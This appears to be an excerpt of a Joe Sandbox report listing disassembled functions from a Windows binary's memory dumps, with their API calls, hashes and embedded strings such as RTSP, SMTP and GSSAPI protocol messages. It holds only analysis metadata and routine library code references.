String ID:
API String ID: 2933794660-0
Opcode ID: 041d678dc743e0e5f436598f64fc9b09e1e8aef45ebef0de337f34359adb3a07
Instruction ID: 78ce92147010449fb6e3ef975098f99c47ac54226a2f5370de6a62b25dd7c5c7
Opcode Fuzzy Hash: 041d678dc743e0e5f436598f64fc9b09e1e8aef45ebef0de337f34359adb3a07
Instruction Fuzzy Hash: A3114C22B28B01C9EB00EF60E8442A873B4F759758F840E31DA2D827A8DF38E1658750

Function 00007FF747D79410 Relevance: 3.0, APIs: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF747D7944B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D7947F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _getpidhtons
String ID:
API String ID: 3416910171-0
Opcode ID: 14fbe48617075f3174793a590dd64f28711d7743a1a480ca69b05c8c2bed0042
Instruction ID: 171ced9e794107d508376764819a101ff7c6141ae5b80057a4a9ac2a0105b276
Opcode Fuzzy Hash: 14fbe48617075f3174793a590dd64f28711d7743a1a480ca69b05c8c2bed0042
Instruction Fuzzy Hash: 6E117C62A287D0CAD304CF35E5001AD77B0FB5CB84B44962AFB8987B18EB78D690CB04

Function 00007FF747D3DEA0 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF747D3DFA4

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Xbad_function_call@std@@
String ID:
API String ID: 1029415015-0
Opcode ID: 4d63e86f281f0f8040124130d05909f5cac1b0fcea5ece721468537f7454344d
Instruction ID: 3481224308f2a84975a21f337bf32f3290b1d2080e6ef9ee61a8265c97d1ebcf
Opcode Fuzzy Hash: 4d63e86f281f0f8040124130d05909f5cac1b0fcea5ece721468537f7454344d
Instruction Fuzzy Hash: 1181BC32B29B99CAEB00EB79D4843AC6770E715B88F944236DE4E57785DF38D082C720

Function 00007FF747D3D310 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23195db887e80f4d2cea8d575e2b125909b75d07273f377a0876d07e28769e32
Instruction ID: 7c4eb8e911909a073dd45f24176bab144b61a2c939f96f5e959b797d82e70034
Opcode Fuzzy Hash: 23195db887e80f4d2cea8d575e2b125909b75d07273f377a0876d07e28769e32
Instruction Fuzzy Hash: F0610662B2DB44C3EB10EB19E444279A261E7597D4F509331DE5E87B88EF3DE442CB00

Function 00007FF747D41750 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ce16abf6dabfd6c05904dcfc4add426f37854a28f683b97e97ab74344d31e2
Instruction ID: 087a186d1779e6829f0b83e9f65967c48f4c14333110bb0c142953dfb32fd42f
Opcode Fuzzy Hash: c7ce16abf6dabfd6c05904dcfc4add426f37854a28f683b97e97ab74344d31e2
Instruction Fuzzy Hash: D0417433725554C7E78CDE2AC8266AD73A2F39D304F95C239DA1A87385DA369906CB40

Function 00007FF747D8F7D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction ID: 7f292d5b19a7f65cd62ba88e07ee59f881bd71dc2d8649c776bbe345e54d5e6c
Opcode Fuzzy Hash: a9bc956564b332abba12e54d0044448655734ddf9d44365f360b093ba55ae5c6
Instruction Fuzzy Hash: 02F08C65325767FEFE04853B4624FBD5E419BC0B40FA36975CC80020CBC69E5493DB14

Function 00007FF747D90824 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8085569c1db706f8df0c680955a88674b0be6f25267714de8c820d55b9c9291
Instruction ID: 0871690c9454fa8c8366d056e41a5d7aad80959c56e7156c87d1119ffae5a300
Opcode Fuzzy Hash: d8085569c1db706f8df0c680955a88674b0be6f25267714de8c820d55b9c9291
Instruction Fuzzy Hash: 2CA001A1A2EC02D0EA04BB00AA50024A2A5EB92300B851631C10D55164DE3CB612CA60

Function 00007FF747D55360 Relevance: 52.7, APIs: 34, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D5E0C0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF747D4613F), ref: 00007FF747D5E0D7

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D554ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55501
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55515
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55529
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5553D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55551
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55565
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55579
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5558D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D555A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D555B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D555C9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D555DD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D555F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55605
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55619

Part of subcall function 00007FF747D5F7F0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5F82E

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5562D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55641
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55655
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55669
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5567D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55691
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D556A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D556B9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D556CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D556E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D556F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55709
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5571D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55731

Part of subcall function 00007FF747D531B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53138), ref: 00007FF747D531CB
Part of subcall function 00007FF747D531B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53138), ref: 00007FF747D531F9

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5575B

Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F971
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F981
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F98F
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F99D
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9AB
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9B9
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9C7
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9D5

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D55787
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5579B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D557AB

Strings

Closing connection %ld, xrefs: 00007FF747D55459

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$CounterPerformanceQuery
String ID: Closing connection %ld
API String ID: 3490100708-2599090834
Opcode ID: ada762a4b1bdea5d3c0d07d156a09a90b4b219ab25b2b57008472897e8c19366
Instruction ID: dca23f2d6d78bd86de6f6c6debfbdd16e0283cb5d11574eb07bb9a561cc684a1
Opcode Fuzzy Hash: ada762a4b1bdea5d3c0d07d156a09a90b4b219ab25b2b57008472897e8c19366
Instruction Fuzzy Hash: 61C1177651CB82C2E750BF21E4502AC7364FB85F98F980231DEAE1B799CF389156C724

Function 00007FF747D777A0 Relevance: 49.9, APIs: 6, Strings: 27, Instructions: 385COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7789D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7799E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D77A11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D77A8B

Strings

Session: %s, xrefs: 00007FF747D77B6D
Failed sending RTSP request, xrefs: 00007FF747D77E01
Transport: %s, xrefs: 00007FF747D778AA
OPTIONS, xrefs: 00007FF747D777A0
Range: %s, xrefs: 00007FF747D77A93
Session, xrefs: 00007FF747D77AE9
Refusing to issue an RTSP SETUP without a Transport: header., xrefs: 00007FF747D778D5
Transport, xrefs: 00007FF747D7784E
Accept-Encoding, xrefs: 00007FF747D77914
%s%s%s%s%s%s%s%s, xrefs: 00007FF747D77BF6
User-Agent, xrefs: 00007FF747D7797E, 00007FF747D779AD
Accept, xrefs: 00007FF747D778F8
CSeq, xrefs: 00007FF747D77ABC
Accept: application/sdp, xrefs: 00007FF747D7790A
Referer, xrefs: 00007FF747D77A27
Session ID cannot be set as a custom header., xrefs: 00007FF747D77AFD
Refusing to issue an RTSP request [%s] without a session ID., xrefs: 00007FF747D77823
Range, xrefs: 00007FF747D77A67
Content-Type: application/sdp, xrefs: 00007FF747D77D6D
Accept-Encoding: %s, xrefs: 00007FF747D77949
CSeq cannot be set as a custom header., xrefs: 00007FF747D77AD0
Content-Type: text/parameters, xrefs: 00007FF747D77D37
Content-Length, xrefs: 00007FF747D77CDC
Referer: %s, xrefs: 00007FF747D77A42
Content-Length: %I64d, xrefs: 00007FF747D77CF7
%s %s RTSP/1.0CSeq: %ld, xrefs: 00007FF747D77B37
Content-Type, xrefs: 00007FF747D77D23, 00007FF747D77D59

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %s %s RTSP/1.0CSeq: %ld$%s%s%s%s%s%s%s%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: application/sdp$CSeq$CSeq cannot be set as a custom header.$Content-Length$Content-Length: %I64d$Content-Type$Content-Type: application/sdp$Content-Type: text/parameters$Failed sending RTSP request$OPTIONS$Range$Range: %s$Referer$Referer: %s$Refusing to issue an RTSP SETUP without a Transport: header.$Refusing to issue an RTSP request [%s] without a session ID.$Session$Session ID cannot be set as a custom header.$Session: %s$Transport$Transport: %s$User-Agent
API String ID: 1294909896-2200874227
Opcode ID: 630c380efc76a5ffed2834d8e06e875a5572cadbc702f6c11330fde0c288aba2
Instruction ID: 2a0af2312acf58827d72d31b79565e6ec99f4cee7a18e8718763a59d75bdf538
Opcode Fuzzy Hash: 630c380efc76a5ffed2834d8e06e875a5572cadbc702f6c11330fde0c288aba2
Instruction Fuzzy Hash: 51028E61A1DB83C2EB60BB21A4403BAA395EF45B94FC40635CE4D4B795EF3CE546CB60

Function 00007FF747D71240 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 297stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7129E
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D712D2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D71351
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7136B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7137A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D713C7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D713D8

Strings

%I64d, xrefs: 00007FF747D7158E
<%s@%s>, xrefs: 00007FF747D71336, 00007FF747D7147A
MAIL FROM:%s%s%s%s%s%s, xrefs: 00007FF747D7166C
SIZE=, xrefs: 00007FF747D71641
Mime-Version, xrefs: 00007FF747D71519
Mime-Version: 1.0, xrefs: 00007FF747D71534
AUTH=, xrefs: 00007FF747D71635
<%s>, xrefs: 00007FF747D71359, 00007FF747D7149D
SMTPUTF8, xrefs: 00007FF747D7162A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree$strpbrk
String ID: AUTH=$ SIZE=$ SMTPUTF8$%I64d$<%s>$<%s@%s>$MAIL FROM:%s%s%s%s%s%s$Mime-Version$Mime-Version: 1.0
API String ID: 2737852498-2994854565
Opcode ID: 50beff97ebaddc7567a4d4a9652863f836772c72075f966d32c1a3f403d900ce
Instruction ID: 6c6baea5a16d7fec5314df49f8c63afc7c16a323d4a86f3c035bec598104e1ff
Opcode Fuzzy Hash: 50beff97ebaddc7567a4d4a9652863f836772c72075f966d32c1a3f403d900ce
Instruction Fuzzy Hash: DAD18D62A2D752C1EA11FB6194106B9A3A4BF8AB88FC44731DD4D1B795EF3DE407CB20

Function 00007FF747D8E720 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 250COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E806
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E8AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E902
htonl.WS2_32 ref: 00007FF747D8E92F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E941
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E970
htonl.WS2_32 ref: 00007FF747D8E985
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E9B2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA39
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA42
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA4B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA82
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA8B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EA94
memcpy.VCRUNTIME140 ref: 00007FF747D8EAAF
memcpy.VCRUNTIME140 ref: 00007FF747D8EAC3
memcpy.VCRUNTIME140 ref: 00007FF747D8EAD9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EB00
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EB09
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EB12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8EB1B

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 00007FF747D8E916
GSSAPI handshake failure (empty security message), xrefs: 00007FF747D8E887, 00007FF747D8EB28
GSSAPI handshake failure (invalid security data), xrefs: 00007FF747D8E897

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$memcpy$htonl
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 82385936-242323837
Opcode ID: 8613a6aaf9016ec076c90eba3747679c487425defe278e58e2270cd0f603949f
Instruction ID: a2a1f848f955978a316ffbc768866eb4ba9ffda46c2fc48f53491ae7aa1bcab3
Opcode Fuzzy Hash: 8613a6aaf9016ec076c90eba3747679c487425defe278e58e2270cd0f603949f
Instruction Fuzzy Hash: BAC13972A2CA42C6E710BB65E4402ADA7B4FB84B84F814235DE5D17B98DF3CE406CF20

Function 00007FF747D52EC0 Relevance: 42.6, APIs: 34, Instructions: 121COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52EDD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52EF3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F07
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F1B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F2F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F43
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F57
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F6B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F7F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52F93
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52FA7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52FBB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52FCF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52FE3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52FF7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5300B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5301F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53033
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53047
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5305B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5306F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53083
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53097
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D530AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D530BF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D530D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D530E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D530FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5310F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53123

Part of subcall function 00007FF747D531B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53138), ref: 00007FF747D531CB
Part of subcall function 00007FF747D531B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53138), ref: 00007FF747D531F9

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5314D

Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F971
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F981
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F98F
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F99D
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9AB
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9B9
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9C7
Part of subcall function 00007FF747D4F960: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D53166), ref: 00007FF747D4F9D5

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D53179
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5318D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5319D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
